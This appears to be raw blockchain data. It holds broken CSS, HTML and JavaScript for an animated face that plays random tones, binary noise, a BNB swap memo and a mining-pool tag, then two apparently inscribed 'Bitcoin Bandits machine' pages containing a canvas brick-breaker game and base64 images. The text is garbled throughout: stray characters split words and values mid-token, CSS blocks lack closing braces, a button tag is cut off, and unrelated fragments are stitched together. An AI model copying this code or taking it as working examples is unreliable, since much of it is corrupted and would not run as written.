            clip-path: polygon(-100% -100%, 43% 0%, 50% 9%, 57% 0%, 100% -100%, 200% 200%, -100% 200%, -100% -10M
        .cara .boca .dentadura.inferior {
            transform: translateY(20px) rotate(180deg);
            transform: rotate(180deg);
        .cara .boca .dentadura{
            width: 225px;
            margin: 0 0 0 -11px;
            position: absolute;
            z-index: 2;
            width: 225px;
            margin: 0 0 0 -11px;
            position: absolute;
            z-index: 2;
        .cara .boca .dentadura .diente {
            width: 30px;
          height: 30px;
            border-radius: 5px;
            margin: -7px -2px 0 0;
            background: linear-gradient(270deg, #c8c8c8 0%, #ffffee 100%);
            display: inline-block;
            box-shadow: 1px 9px 5px rgba(0, 0, 0, 0.3) inset, -2px -2px 1px #ffe inset, 2px 0 0 #888;
            width: 30px;
            height: 30px;
            border-radius: 5px;
            margin: -7px -2px 0 0;
            background: linear-gradient(270deg, #c8c8c8 0%, #eeeeee 100%);
isplay: inline-block;
            box-shadow: 1px 9px 5px rgba(0, 0, 0, 0.3) inset, -2px -2px 1px #ffe inset, 2px 0 0 #888;
        .cara .boca .lengua {
            width: 120px;
            height: 50px;
            background: #d07676;
            border-radius: 100%;
            position: absolute;
            bottom: -12px;
            z-index: 0;
            left: 40px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.5) inset;
        .cara .boca .lengua::after {
            width: 0;
            height: 0;
            border-style: solid;
            border-width: 3px 12.5px 0 12.5px;
            border-color: #000000 transparent transparent transparent;
            position: absolute;
            left: 50%;
            margin-left: -10px;
            z-index: 2;
        .cara:hover .boca {
            border-radius: 25px 25px 150px 150px;
            top: 331px;
            height: 125px;
            position: absolute;
            bottom:20px;
            right: 20px;
            color: #FFF;
            text-decoration: none;
<div class="circlebig"></div>
    <div class="wrapper-eyes">
        <div class="eye left"><span></span></div>
        <div class="eye right"><span></span></div>
    <div class="nose"></div>
<div class="wrapper">
    <button class="btnPlay">play</button>
"btnStop">stop</button>
    <div class="boca">
        <div class="dentadura">
            <span class="diente"></span>
            <span class="diente"></span>
            <span class="diente"></span>
            <span class="diente"></span>
            <span class="diente"></span>
            <span class="diente"></span>
            <span class="diente"></span>
        <div class="lengua"></div>
<div class="gradient"></div>
let btnPlay = document.querySelector('.btnPlay');
        let btnStop = document.querySelector('.btnStop');
        const page = document.documentElement;
        let context = new AudioContext();
        btnPlay.addEventListener('click', () => {
            let setTimer = setInterval(timer, 200);
            btnPlay.setAttribute("disabled", true);
            btnStop.addEventListener('click', () => {
                clearInterval(setTimer);
                btnPlay.removeAttribute("disabled");
        function timer() {
            let o = context.createOscillator();
            let g = context.createGain();
            o.connect(g);
            o.type = "triangle";
            const sound = ["261.6", "277.2", "293.7", "311.1", "329.6", "349.2", "370.0", "392.0", "415.3", "440.0", "466.2", "493.9", "523.3", "554.4", "587.3", "622.3", "659.3", "698.5", "740.0", "784.0", "830.6", "880.0", "932.3", "987.8"];
            const randomSound = Math.floor(Math.random() * soM
            o.frequency.value = sound[randomSound];
            g.connect(context.destination);
            o.start(0);
            g.gain.exponentialRampToValueAtTime(0.00001, context.currentTime + 1.2);
            const bgGradient = [
                "linear-gradient(90deg, rgba(8,231,214,1) 48%, rgba(22,255,0,1) 100%);",
                "linear-gradient(90deg, rgba(231,8,8,1) 31%, rgba(255,248,0,1) 100%);",
                "linear-gradient(90deg, rgba(8,231,202,1) 39%, rgba(61,255,0,1) 100%M
                "linear-gradient(64deg, #d379b6, #b1125c)",
                "linear-gradient(141deg, #341a4c, #1b1299)",
                "linear-gradient(191deg, #cac198, #a067c3)",
                "linear-gradient(189deg, #6ac778, #c51bc6)",
                "linear-gradient(74deg, #8a8993, #1dd793)",
                "linear-gradient(359deg, #7e4328, #dbcb64)",
                "linear-gradient(208deg, #6c5ddd, #b4d3c7)",
                "linear-gradient(98deg, #64bccb, #d95974)",
                "lineMr
ar-gradient(330deg, #43906d, #5ab885)",
                "linear-gradient(75deg, #7558b6, #a1e4c1)",
                "linear-gradient(321deg, #c5c4ca, #89ad39)"
            const randomBg = Math.floor(Math.random() * bgGradient.length);
            page.style.setProperty('--gradientCss', bgGradient[randomBg]);
*8@FFF1BH?><lkh:LWYw
5UUUUUUUUUUUUUUUUUUUU9Fv=4
ffffffffffffffffffffffffffffffffffc@
LjJ=:BNB.BUSD-BD1:bnb1e8qlkw89338aryq6dq3zx4t9650ks6957wyvcj:15513725432:te:0
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAATXklEQVR4nO3dUYwcd30H8L+hjolDrHPt1CElMU7KGdsiDVgtRJYry1LrPjQmL06lRqoIxVJRn0CqqQrIWCioSqrSNyol1UWqoBT3AZGHKkU6LIUUaHUEpYqNnRrjJDhBcfDJEAfHCemDvbP/y814d/Z2dn679/m83H9nZ2f/50Q//e47/5lZsWPP3jcTAOG8re0JAFBOgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCEqBBghKgQYISoEGCOo32p4AcT3x2DfbngJDM
smPP3ranwAB00ABBKdAAQYk4qI4yPvrx7viRh4vhXT883fCMGJZH79jY9hRYAh00QFAKNEBQIo5lpjTOyKOMGh49+4tivPVvTxbjQ2uvK8b7/vrGqx6j6nO5/Bid/av27aXsWG0c7+C5V/ret5/vyPe5a/31Vz0e40MHDRCUAg0QlIhjQvW1MqPjtm3l+558eukTmX+58WPs27+yGG99YL4Yl0YHfcwnP15PA/5+tSKVYfwbMpZ00ABB6aAnQK0Tf1XdclNeOtNjh9U1j1Gyf6/36+7bc85Vyo+37+6XUkopbZ3pvp930D1PGNb5/ZgoOmiAoBRogKBEHGNkKCf+1l99XXI6+2K9SfWSHW/ro7cW486f8gfTK4s+cvU53Vr//br7Dvxv0Ot4PeZWpc7vx0TRQQMEpUADBCXiCKhWlJFSeZxRFWXccNPibQOvWuhDr0ilD2XRSO7wd97ffbF26fPp9X25zgqNpX5no59nbOmgAYJSoAGCEnG0bCgXmZT9CVwWZaSUM
0tS67ngUlxAvmMf8QIc4emCqGB+8cin3gju51bnUu4/5lH3fUo7X2efoge6mfdnbWx8o/1it72Ai6aABglKgAYIScYxIoxeZlMUZeZTRosMPXeq+KIkI+rqr24LfZb7++3X3bfR4ZYbwHUwkHTRAUDroIRv5GuaU6nXLQe4t3LmDWz8d9PTqa5b0ft19Dz+YXVrdY379HK/O/CCngwYISoEGCGrFjj1732x7EuOqsTXMuTzWGEaUUXZZd9Xd2/JHXj3ycDG864en+58HrXr0jo0ppZR27Nnb8kwYhA4aICgFGiAoqzj6MIo1zAvWC2cOnpvPXnXHR7942+Kd81ij6g51vW5G38eTvDt/NgPN0kEDBKVAAwQl4niLJa/MGPgik5rPwStbpZHHGv08V68szshWa+R2797d58Row+zsbOl2qzfGmw4aICgFGiCoZRtxNLYyo+b9MoZyn4ZOtNHPBSe5kjhDlBGbKGN50UEDBKVAAwS1rCKOBbFGUyszakYZm1evKj/2M
UlXcR2OBL3xp0abyP6Bpxec+uWiTKGN50UEDBLWsOuhKede8xBN/dTvl7Wuu7Tm9oSr7yyH/nd/7/tHNhcW++61Fm3TNy5cOGiAoBRogKBFHlT5ulF8WZ9SNMubOv5pSSqlipXWrPEtvNE5ceK3tKRCUDhogKAUaICgRR035n/1lcUavKGNc/dmNU21PYaJ89cX5tqfAGNBBAwSlQAMEJeIYkk60URVlHL9wsXR7Y5d6N+jzX/nK5UHJpciUuHJJ/efvvbfliTBudNAAQSnQAEGJOCocfuhS9qp7I/yD514pxiezPbZ/7c5Fx8hjjRNnXijG0ze9ayhzbM2VaONDez7S8kTGw/c7UZCIg5p00ABB6aAbdP+hZ0u3Hzx3rBgXXfja65qfEDBWdNAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEG5UAUI78kPPdZ9sXZF6T6//c53p5RS+ukvn1+0LaWUfuvftzYzuQbpoAGCUqABghJxDMm2Tzx1+Wcf+x5yM
3w2o5QPf31OMVx34RTF+94abF+37/M+eK8YXH7i+2Yk1TAcNEJQCDRCUAg0QlAINEJSThA3KH4+Vc5IQ6IcOGiAoBRogKBFHTU3FE1VxyOv/uKUYn7jwWveN+ZcbmQcQhw4aICgFGiAoEUcLPnPwlmK8efWqlFJK96y5ttg2d/7VYnz8wsXRTQwIRQcNEJQCDRCUiAMYW+tXrC/GZ9882+JMmqGDBghKgQYISsQBjK1JjDVyOmiAoHTQQ1J2qfaCy7TPvFCMp0cyI2Dc6aABglKgAYIScQTReSp4SgufDJ5HJ1uz7UcPTDU+J6BdOmiAoBRogKBEHDVV3Vj/nq/dmVLq70509x96dvgTAyaODhogKAUaICgRR4V9+1d2X0ytK4bTq68pxp2b7VcRZQBLoYMGCEqBBghKxDEknQtNtvXYL6XylSCH1l435BkB404HDRCUDrqmOif+qtZM53e5K040fvqZJc0LmDw6aICgFGiAoEQcQ+KG/cCw6aABglKgAYJSoAGCM
UqABglKgAYJSoAGCUqABglKgAYJSoAGCUqABgnKpdws8Cgvohw4aICgFGiAoEUeDRBnAUuigAYJSoAGCEnEMSZ2ncnuqN9APHTRAUAo0QFAijj4cfvDFgT5XFmWktPBZhZtXr7o8+PQzA30HMLl00ABBKdAAQYk4Khx+6FKt/cvijDzKOHHmhWI8Pfi0YvjCl1JKKX3/c59seSJj4sq/F9SlgwYISoEGCErE0Yc8vnBBSUqfv/fey4POT6AROmiAoHTQFfbtX9l9MXVbdzzgmuhenv7y7cV47vyrxfj1CxeL8YkLr3U/MP9yI/Oo8tUX50f6fYAOGiAsBRogKBEHlRZEKsDI6aABglKgAYIScbDQM//b9gyW5Kf3f7Z0+5q7d6aUUrp+255RTgeWRAcNEJQCDRCUiCOIbZ94qjvOtueXmW/Nth89MDW8Lz/bzMU3bXv7B28uxue/8fjlwYbfbWk2UJ8OGiAoBRogKBFHTZ85eEsxLp4nmFK6Z821KaWF99E4nt1HM
I3f/oWcbml3mtiwo+ejHu+NHHl606+7du5ufTwve+MFzi7bt/vajLcxkQFf+u8w+9s3St3fs2TvK2QzFk3/8n8V403u697iZ+qfbynZf9nTQAEHpoBtUp1Pu5wngPe9mt/7G7jg/8VfVTV8xW9JVp5TSfffdVz7ZwD67cWMxPnLkSDHetWtXSimljWn8VP13mJmZKd0eubPOu+ZTPzlZjD+QdNBldNAAQSnQAEGJOIaks455W4/9UiqPM+752p3FuJ8TjQvccNPlny+d6W7L445eSmKPlFKamRm/6OP06dNX3b5xY3nIkX/uX050x51LxFNK6SNHn110jPxzR/6o+/Tuzbe/txi/6+//5KrfPag60UeU2CM/GZjHGvN/ebJ0n+VOBw0QlAINENSKHXv2vtn2JEbliXw9af5nfb7KoRMNdGKDlFKaWlcMD9d4JmE/KzM6a6m3X1lHnVJ1xFF5A/06zyfMY5COqku9Tz5dvr1k1Ufk2KOuqpikV0Qx6OdGYZxWfHTiM
jjzqWHXgF8X43RtuXvSZKs//rLsW/uID1w9hdqOlgwYISoEGCMoqjgqHH7qUveoda5TFGQsuMjnzQjGeHnBO06uv6R4vjzuyCGYkSlZ9jOOKjyqDRhIRoowq43SxSyfayFd2bN+wfaBj5XHI8wfGL+7QQQMEpUADBCXiqKlqZUbnQpPaF5n0kN8xLz9eHnfUcSI1FIfUvNiF2DorntqIOjorNvJYY+6ZuWK8/b3LJ+7QQQMEpYMOqGpNdFU3XWYoa6bzteCDquisi7XUX/7Xgb5v6wPzxfjQ2uuK8b79K6+6f75v/tdQvr2OURyjn++o2qfq36PMXb/znmL86B2jPeHZa51z3jU31U1H7KR10ABBKdAAQYk4gsif6p37esVJyVR1I/+Oqiij7FLvJuWX0VddOh5MnZik7jHKj1u+vRNbfPzn3TjrYPb+oJFKdP/+ra/3ve+pJ/+v+2LtioG+78O339l7p5booAGCUqABghJxtKCxp3rnsUZVlFF157oJka/uyKOBM
h39zVcne5f7hb3529R36iBaq5lGmam5HD0yllFL6VMVxSQtjjXNvLt425nTQAEEp0ABBiTga1FiUUVfdG/KPsQUXolRs7+VTf7ehdHuxiqPmPMoikedO/rzv+dCnCYo2OnTQAEEp0ABBeSZhSqXPJDz8jRtKj1F1N7umLhro57mGxYUqVas48ogjjzVKni0IKbV7w/7OfTm+99R3G/uO/OKUiPfg6NBBAwSlQAMEZRVHg0Ydhwxq9+7dbU+BErOzsymlduOGNnQihw8f6MYQz/34uard+3bzrd1bjEaONXI6aICgdNBD0vOp3vkd5x6c7MutGdz27d0b0Hc66OUq73JvPtDtfuucPByXk4FVdNAAQSnQAEGJOIakqad6R3Tq1Km+9920aVODM2ES/ff7vrl4Y7bpHc/331c+/pNvd1+8r3yf3/9R3JOwOmiAoBRogKBEHA2qcze7qjXTnegkpXbjkzzW+PEP96WUUnr9yf/o+bnp+7qfE3dMvgW3UxjUY1d/+1L6M
9dK/I/PElfwkvx4gX0FTtX0U69N10ABBKdAAQYk4hmTbJ566/LOPfXtd1LJ5df/Pz2tSWayRUkq/fuHymfG33fiOnsc4MdMdizsm3zj/d83/f89/j6rto6CDBghKgQYISsRRU5070VWtzDh6YKr7YmpdSiml6aVMaoh6xRoppfT29/1PSimlN370e6XH6Lz/1n3K4o5x/pMYmqaDBghKBz0kte5mlz+a6oqqNdNVXXjKjj1qVZ1zv+8D/dFBAwSlQAMEJeKoqdcl2f1cjn34oUvZq/G7ef+gJwmZfDdNv3/RtvnnT7Ywk6XZsGFDMb648p2tzUMHDRCUAg0QlIijwr79K7svrqxVTiml6dXXFONel2TXuZtdFPm65FvvOFyM8zXRb/zo8s88ysjlscavX/xVMZ6+75el38NkW7NmTdtTqG3jxo3F+MSZxauuRkUHDRCUAg0QlIiDSr3ijktHfrXoMymJNWBYdNAAQSnQAEGJOOhLVdxR53Nl8me8Tar8mXZQhw4aM
ICgdNLUNerIvv9d0Z5x3l/na03G3c+fOYvyxj30spbR8O+m3rbmhGK+61D1pHGWtcWdOUeaT00EDBKVAAwQl4qip1o31azwei/4cOXIkpZTSdy717i3Wfm5/Mf6r7x3v67j9HLuf4x47dqzn/JajPEZYv359MW4zUujMKcp8cjpogKAUaICgRBwVmrypflkcUudp4Sz09g/eXLr93Bce6r74wz8Y2rGHcVzohw4aICgFGiAoEceQiCjac90t7ynGrzz7k7E5NvSigwYISoEGCErEwdjLo4c8kjj/g+caOfYwjgv90EEDBKVAAwQl4qip9J4bqXwVR9W+Rw9MdV9Mrbv888HhXgyzXDW50sIqDkZNBw0QlA6asfdGgyftmjw29KKDBghKgQYISsTBWNm1a1dKKaXPNnTcJo4Ng9JBAwSlQAMEJeJgrOTPjetly5Ytxfjxxx9v5biwFDpogKAUaICgRBxD8vSXb08ppTR3/tVi2+sXLhbjExde6+48H+OR7uNsbm5uM
LI8NdeigAYJSoAGCUqABglKgAYJSoAGCUqABglKgAYKyDjqIzxy8pRhvXr2qGN+z5tpinK+xPp6tsV6Otm/fPpbHhjp00ABBKdAAQYk4GCtnz54dq+PCUuigAYJSoAGCEnEwVk6fPt32FBbYuHFj21NggumgAYJSoAGCEnFU2Ld/ZffF1LpiOL36mmKcX1DC8nHq1KnS8a5du1qYDZNMBw0QlA56yP7808+Ubj947pXS7Ue/uK50O1eXd66bNm0a6Xfn3+ckIU3SQQMEpUADBCXiYCyNOtaANuigAYJSoAGCUqABglKgAYJSoAGCsooDanKpN6OigwYISoEGCErEATW5F8fw/cWf3l2Mjx071vj3zc3NZa/i3g9HBw0QlAINEJSIg7EyLpHCli1b2p4CE0AHDRCUDpqRKbsD3ezsbAszad7MzEwxXu533pu+qXsSbufOncU4Pxn4z//2jVFOKaWV77zq2/lJy5HPLaODBghKgQYISsTRsvwp4cvJcvqzfzn9rnX8M
11PH255CSimlE2debnsKlXTQAEEp0ABBiThatnn1qran0Cp//i8vo7iMexiizFMHDRCUAg0QlIijZdvXXNv2FICgdNAAQSnQAEGJOIZk7vyrKaWUtg34OYC30kEDBKWDXoLjFy6GOAYwmXTQAEEp0ABBiThqOnHhtdDHAyaHDhogKAUaICgRRz/mG7yhd5PHBsaaDhogKAUaICgRR5WXzgz0sX131/2eCwN9DzD5dNAAQSnQAEGJON7q7IttzwAgpaSDBghLB51SSiefbnsGMLFmZmZKt+/Ys3fEM7m6iPPUQQMEpUADBLWsIo78T5UnHnm4xZnEMjs72/YUuCL/bxEtAmD0dNAAQSnQAEGt2LFn75ttTwKAxXTQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQM
AEEp0ABBKdAAQf0/VczSNembfZ8AAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"]M
,["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+briM
ckGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else M
if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)M
){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.M
fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAXRklEQVR4nO3dfZBV5X3A8R8gRY3SAAvbKGYX0FXGlDFSlLo1XdbYRStQiZGZjm8I5mWwxulITDTj1LZWZUOqTei0UxFRJjOOzliFKqa6bGMlpHSV4hjiwrK7FV94E+triOL2j+U+57nsc/a83PPyO/d+P//w3HPPec5z1+Q3v/u7z/OcEc1t8wcEAKDOyLwHAABwI0ADgFIEaABQigANAEoRoAFAKQI0AChFgAYApQjQAKAUARoAlCJAA4BSBGgAUIoADQBKEaABQCkCNAAoRYAGAKUI0ACgFAEaAJQiQAOAUgRoAFCKAA0AShGgAUApAjQAKEWABgClCNAAoBQBGgCUIkADgFIEaABQM
6ri8BwC9Xnz2qbyHgIQ0t83PewiIgQwaAJQiQAOAUpQ44FvK+N59D5j2PTcvNe0z/uX01MeEZOy8YVfeQ0AFyKABQCkCNAAoRYmjxrjKGXYpI4zTpp427Ptbtv/CtGfP+MPEzrXPj3Ju0uMo0ph3CiWOIiODBgClCNAAoBQljioVZmZGyaZn1jvPnXPJvGHvsWf5x6bdcNaXTLtZpnknbR22i7Jzj8zoCd13mHNPnfP6kHPs9/3GYY/5yJKeIedOfuQc0x511rQh7/v27dOvPf7ms65yjsPF/nyoTmTQAKAUGXQViPLDn1+2XOv65nSatv0j6KjVVobvyKb92Oe+vvv1If1G4ZdtN0qLd87U8GNDcZBBA4BSBGgAUIoSR4Ek8cNfEkpf2UdInfN9u1wQyW6v6dd3iV16aDgr3u1sjZtavBebvGbZZ9kdbmwi5eNrPPojYZ90Os+N+1ldY0N1IYMGAKUI0ACgFCUOhaKUMkSilTMO7d875Ni4ifWhrxfxZiPskY+dM
77/xwR7Tjr1cud1rHpGeIefb5/rNg7bHMTmgjPDirHXOcTSubvHGcXQ2hd/nttkzL8yYp7r/FkH9hZrF4TPDhKXexUYGDQBKEaABQClKHDlzlTPu7r3btP/vyYmmXWkpIyunnjQ5lXPT7DvqOKJIs29UNzJoAFCKAA0ASlHiyIjfzIyznzh7yLH9H+33rntmS2DfeZYzXPwWfTjPtXezmxq8Q5053+o3zYUqUfbfsLkWqiTRL2oLGTQAKEUGnTC/THnhlsudx1955ZWhB5vcfWvJlEtLveXb3jG/ZcyR2MuVE+574NsH4vXlWkKdxNiifNYw57LUuyqRQQOAUgRoAFCKEkcFXOUM149+IiLvfvhurHukWdaIusS7hKd6F2fMLPUuNjJoAFCKAA0ASo1obps/kPcgtAuzu9zvLhicu/zgc6ud5/qVBcyMCMu8C+ab9oarN4cep58opQy/J3nfc/PSiseB/DS3zQ8+CeqQQQOAUgRoAFCKWRzHcJUzwmyU33zxNOc5M
WYo6K8NVzvArZbS2tsYaE7LR0dHhPE5po9jIoAFAKQI0AChVsyWOKM/9i7JRfh5cpQ2/2Rg2VzmDUoZulDJqCxk0AChFgAYApWqqxGGXNZrOnW3aC6/xvurHf+5f/rM4/PjNzLD/BiV73v3Iee6eq7eZ9uRHzok1jiT70DCGtPvofmnowxooZdQWMmgAUKqmMmg/QVmzlo3yk3Di3x9v2pNnnBD6usli7ZbWHu/eifahYQwp9LH3vX3ei6PPeCBrrl1k0ACgFAEaAJSixOGjmsoaNvsHqQ8njg193TtXvGra4x93P5Qgyz40jCGNPmadd6lpvyrLY/WN6kEGDQBKEaABQClKHDVs7ISJoc/9nPXAgVERrkurDw1jSKOP35swLlZ/qE5k0ACgFAEaAJSixIHY/v2n7gcZ+Pqp/WJTvJuaPiq9Prs+Lv5znueIeMigAUApAjQAKEWJA5GVShvnty3IeSTFUPp7UepAVGTQAKAUARoAlCJAA4BSBGgAUIofCWtM2aOWM
ImzYj8odWdITeHz9e7/IajgoADJoAFCKAA0ASlHiqDFJbNiPeEat9p783jen07QbN7WY9qxpbNgPDxk0AChFgAYApShx1LC4G/bvlF1pDKemnGb9Pe0N8diwHzYyaABQigANAEpR4lDoicuecB4fPa4+45EAyBMZNAAoRQads0//7siQY1uOtDrPnX2ow7TJpoHqRwYNAEoRoAFAKUocGeld2uc87ipn1P/vaue5e7+4xLTtcodMpNwBVCMyaABQigANAEpR4kiYa1aGiP/MDFc5o6+vz7RXrVrlndvebtpl5Y7uwXLHpKYZgeNjw/78sGE/oiKDBgClCNAAoBQljgp8cmivaZeWZ0cpZYiUlzNcli1b5u7PUe4olTpEROSSec7r2LA/P2zYj6jIoAFAKQI0AChFiSMiu6wRZZFJUCkjDLvc0W6VOOJiw/78sGE/wiCDBgClCNAAoBQljhD8yhpBi0zi6ulxL2gAUFvIoAFAKTJoH2GyZjtbjpv1uq7buHFjrL4AM
VBcyaABQigANAEpR4siIXwnEVc5IYo4zgOIjgwYApQjQAKAUJY5j7OveLiLxZ25EKWWIuMsZzz//fKTrSuMr28T//ruc17Fhf37YsB9RkUEDgFIEaABQihJHwqKUMkTKyxlZYMP+/LBhP6IigwYApQjQAKAUJY6EfGv3N0VEZGe7ezP75cvDf11t/e19Xtt+JkD/etO0CybmmYSjvGcSLvrO7aZ9z81Lnfdhw/78sGE/wiCDBgClyKAT8k9T/3mwYf3mF2ZXOjtbBgAbGTQAKEWABgClKHGIt7xbxFvinfTG/CumWT/rNcwb9twRl6wf9n2R8mXdAKoTGTQAKEWABgClKHGEsGrVKtOeO3fusOfaMzfKyho+XOWM/v5+0164cKHzuvourwRDuQOoTmTQAKAUARoAlKLEkZER37JfeWWNN848U0REeg/uM8fsskZ9fb1p7927t+JxsGF/ftiwH1GRQQOAUgRoAFCKEoeITGqaYdqzuwd3hLNnRtRbm+0vW7bMtO3ZM
HSX2xvz2HI5t27aZ9rhx3o5lJ3/tayIiMuHjj737WWWNpLFhf37YsD95Y777vmkfXnFyjiNJBxk0AChFBl0B12OsZs6c6Tx3yRIvI1+92pvDvHBgYLAx0dubOb38uRz7QeeH/aDjazplgmnXbTzTe+PoF+HN21/LeETpIYMGAKUI0ACgFCUOCd7Nzn7ydmNjo2lfeqn3g04UdrmjxP5h8Omnnw7sY+AZb0e8EZcMjtX+YXP2/XfFGhug3ae9vzLt4z5wlYR+J7vBpIwMGgCUIkADgFI1W+L45JC3bLpU1hDxShvXXXedObZy5UrTjlvWsNnljH/7i1EiUr6rXav1KO/e3l5n2z4/7lO9AehGBg0AShGgAUCpmi1xuMoaIl5pY9++fcdeUhG/mRkX/WZwHFOmTDHHOjq8UoV93FY2Y+NoacNesg5Uq12HvbzyjYO/HXrCaGZxAABSRoAGAKVqtsQRhV2esGd3uMogfqUMe2aGzS5nlNhlDXvmhqusIRKttJHEhv2tM
z88REZGOi56MdX2tKf29jggb9ifh9DGfmfbkCUPLGT9/L8vRpIsMGgCUIkADgFKUOI5x5513iohIQ0ND4LmuckaUUoaIV7awZ5KkKYkN+8c/fraIiJzftiDSvV19RFXqo9Lrs+zjwxXh+5h1Hhv2w0MGDQBKkUEf44u/ulFERAb++6/MsRF/4LUfeugh03Zly0GZsiZxN+wfFeG6tPrQMIY0+mDD/mDMgwYA5I4ADQBK1WyJw55HbJcfSpvfi6wXl+XLvR9uurq6TLtU2vArZdj3s9lLzkvsuc8AyjEPGgCQOwI0AChVsyWO0eO8TfNnH3KXO0r85ijbMzZcm+bbpjzQaNq9S/uGvB91loc9/lq356p/cB6fvO6mjEcSz0M/3+S9sNr35DAW6EIGDQBKEaABQKmaLXEEscsa9syN9vZ203btLnfcbaMC+7bLHbOXuksiQUZLvBKHvZvd6Mb3w19o/TJ+5W3Pxrp3mdsG/3np0JHAUzf8+h3vxe6j/87xDjVZ5448M
PMu03/z60L627rrae/HHwcN02nW6ab73wcbg0zf/z9CDP7Pax483zT/58fHe8cvjDK76sVAFAJA7AjQAKEWJI4QDBw6k1rerJDLvgvmmveHqzRXf43v3PWDa99y81LRflcEd1fx24PPzHzJXRETeumVDxWPrfv+zwHMGdv162Pdf2+W1W7YOX/q5zKotPNLdH3jvIPs/CS4THfjs8PDvf/SWadf/eLbXbh38LB3PPuW8rrltvvN4tWOhCgAgd2TQIaxZsybvIQzr0P69IiIybqKXPW56xr1U3c6mS+ys2rZ48eJh79vw2LKwQ/TVdP0/Bp6z/qXw/XXOut20r923bthzfxBiz+8gdx8MXpbf95//Fbq/m7ZtMe0nFywSEf//Dn7/u6zVzLoakUEDgFIEaABQakRz2/yBvAeRlRetH1uazvV+jPnk0F7Tdu0uF0bQPOjTrA3aba/vfn3IsaR/JLRLHy5zLpln2m8fPGTaD/2N+5FLQaWPNK2ddFWs64LKHVlY8OSjM
